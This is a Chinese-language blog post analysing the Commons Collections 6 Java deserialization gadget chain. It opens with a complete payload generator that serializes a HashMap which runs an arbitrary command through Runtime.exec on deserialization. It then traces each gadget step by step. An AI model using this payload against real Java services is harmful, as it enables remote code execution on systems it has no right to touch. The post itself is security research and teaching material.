java反序列化---cc6链

目录

Transformer[]数组分析

链条代码跟进

ChainedTransformer.transform()

LazyMap.get()

TiedMapEntry.getValue()

TiedMapEntry.hashCode()

HashMap.hash()

HashMap.put()的意外触发

LazyMap.get()中key的包含问题


cc6的payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        
		// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

Transformer[]数组分析

首先不看第一行的faketransformer,直接来看第二个数组

数组内new了5个对象,咱们分别来说

1.

new ConstantTransformer(Runtime.class),

咱们跟进这个对象,可以看到就只是将Runtime.class,也就是Runtime这个类的字节码,赋值给到这个对象的iconstant字段

2.

new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),

 这里就不说了,三个赋值

主要是这里,先不管能不能调用到transform这个方法,我们先来看这个方法到底干了什么,首先getClass()拿到对应的对象字节码,然后通过getMethod()拿到方法,之后通过invoke调用

假如可以调用这个transform方法,把我们的参数传进入会发生什么?

这里的input值不知道那就先不看,这里的意思就是,先拿到这个对象的getMethod方法,然后进行调用,也就是再通过getMethod方法获取到了getRuntime这个方法,这里可能有点混,看不懂的小伙伴仔细想想或者调试

 3.

new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),

方法名与第二个一样,所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null'),这里有一点注意,当invoke调用静态方法时,第一个参数永远为空  

4.

new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),

同上,这里的意思是拿到exec方法,并且传参command(main方法里的command参数为calc.exe)

5.

new ConstantTransformer(1),

方法名与第一个相同,这里的意思我猜测应该是回到初始状态,并没有什么实际作用

链条代码跟进

ChainedTransformer.transform()

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

这里我们先不管这个fakeTransformers,跟进ChainedTransformer方法,就只是将参数赋值给到iTransformer数组

我们应该注意的是它下面的代码,transform这个方法,代码具体意思是将iTransformer这个数组遍历,然后递归调用

先不管我们能不能调用这个transform方法,假如我们能调用,那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点

首先来看iTransformer[0].transform(),返回iContant这个字段值,即为Runtime.class

 

此时object的值为Runtime.class,然后到iTransformer[1].transform(),即InvokerTransformer.transform(),是不是很熟悉?那正是我们之前分析过的,而之前的input值也变成了现在的Runtime.class,所以返回值为Runtime.getRuntime()

此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform(),返回值为Runtime.class.getRuntime().invoke()

iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)

所以咱们的payload能够完美地触发,但问题是要想执行payload,就必须触发ChainedTransformer.transform()方法

整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()

LazyMap.get()

接下来就需要我们的LazyMap上场了

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

首先new了一个HashMap,然后再调用LazyMap.decorate()方法,那就跟进decorate方法

 再跟LazyMap构造方法

可以看到最终是将factory赋值为我们的transformerChain,那就找谁用了factory  

终于在LazyMap.get()方法里找到了,并且刚好有我们需要的transform方法,也就是说,这里的factory.transform就等于ChainedTransformer.transform(),那如果谁能调用LazyMap.get()方法,那就能触发我们的payload

TiedMapEntry.getValue()

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

 跟进构造函数后发现依然是我们熟悉的赋值,map已经为LazyMap了,那就寻找谁调用了get方法

一番寻找后,发现TiedMapEntry.getValue()可以触发  

到这里,我们整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()

TiedMapEntry.hashCode()

寻找谁能调用TiedMapEntry.getValue(),TiedMapEntry.hashCode方法就可以

再找谁能调用TiedMapEntry.hashCode()

HashMap.hash()

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

 跟进代码,就是将tme作为键,"valuevalue"作为值

此时key为TiedMapEntry,所以就找谁调用了hashcode方法

刚好HashMap.hash()调用了hashcode方法,更巧的是此时hashmap的readobject方法又调用了hash这个方法,那这样一切都清楚了,当java反序列化我们的构造好的序列化字符串时,调用了hashmap的readobject方法,便直接触发了我们的payload

最后整理一下链条

Runtime.getRuntime().exec()<-----InvokerTransformer.transform<-----ConstantTransformer.transform<-----ChainedTransformer.transform()<-----LazyMap.get()<-----TiedMapEntry.getValue()<-----TiedMapEntry.hashCode()<-----HashMap.hash()<-----HashMap.readObject()

cc链所有的链条都清楚了,但真的完了吗?

HashMap.put()的意外触发

也许还有小伙伴记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?

我们不妨去掉它试试,将之前传入的fakeTransformers改为我们的payload数组

Transformer transformerChain = new ChainedTransformer(transformers);

可以看到在改为我们的payload数组运行后,计算器直接弹出了,这是为什么?

按理来说并不应该触发,因为我们还没有进行反序列化,也就是还没有调用HashMap的readObject方法,也就不应该执行我们的payload,这是为什么呢?

这是因为HashMap.put()方法也调用了hash这个方法,导致我们的payload提前执行

而fakeTransformers解决了我们这个问题

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

 先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了

LazyMap.get()中key的包含问题

最后还有一个问题,那就是这里的key为什么必须删掉?

outerMap.remove("keykey");

 来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况

  • 18
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
扮演一名大四学生,讲解以下代码爬取了什么东西 def detail_parse(self, response): fields = response.meta['fields'] if '(.*?)' in '<p data-v-cc6b2756>厂商:(.*?)</p>': fields["changshang"] = re.findall(r'<p data-v-cc6b2756>厂商:(.*?)</p>', response.text, re.S)[0].strip() else: if 'changshang' != 'xiangqing' and 'changshang' != 'detail' and 'changshang' != 'pinglun': fields["changshang"] = self.remove_html(response.css('<p data-v-cc6b2756>厂商:(.*?)</p>').extract_first()) else: fields["changshang"] = emoji.demojize(response.css('<p data-v-cc6b2756>厂商:(.*?)</p>').extract_first()) if '(.*?)' in '<p data-v-cc6b2756>油耗:(.*?)</p>': fields["youhao"] = re.findall(r'<p data-v-cc6b2756>油耗:(.*?)</p>', response.text, re.S)[0].strip() else: if 'youhao' != 'xiangqing' and 'youhao' != 'detail' and 'youhao' != 'pinglun': fields["youhao"] = self.remove_html(response.css('<p data-v-cc6b2756>油耗:(.*?)</p>').extract_first()) else: fields["youhao"] = emoji.demojize(response.css('<p data-v-cc6b2756>油耗:(.*?)</p>').extract_first()) if '(.*?)' in '<p data-v-cc6b2756>排量:(.*?)</p>': fields["pailiang"] = re.findall(r'<p data-v-cc6b2756>排量:(.*?)</p>', response.text, re.S)[0].strip() else: if 'pailiang' != 'xiangqing' and 'pailiang' != 'detail' and 'pailiang' != 'pinglun': fields["pailiang"] = self.remove_html(response.css('<p data-v-cc6b2756>排量:(.*?)</p>').extract_first()) else: fields["pailiang"] = emoji.demojize(response.css('<p data-v-cc6b2756>排量:(.*?)</p>').extract_first()) return fields
05-10

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值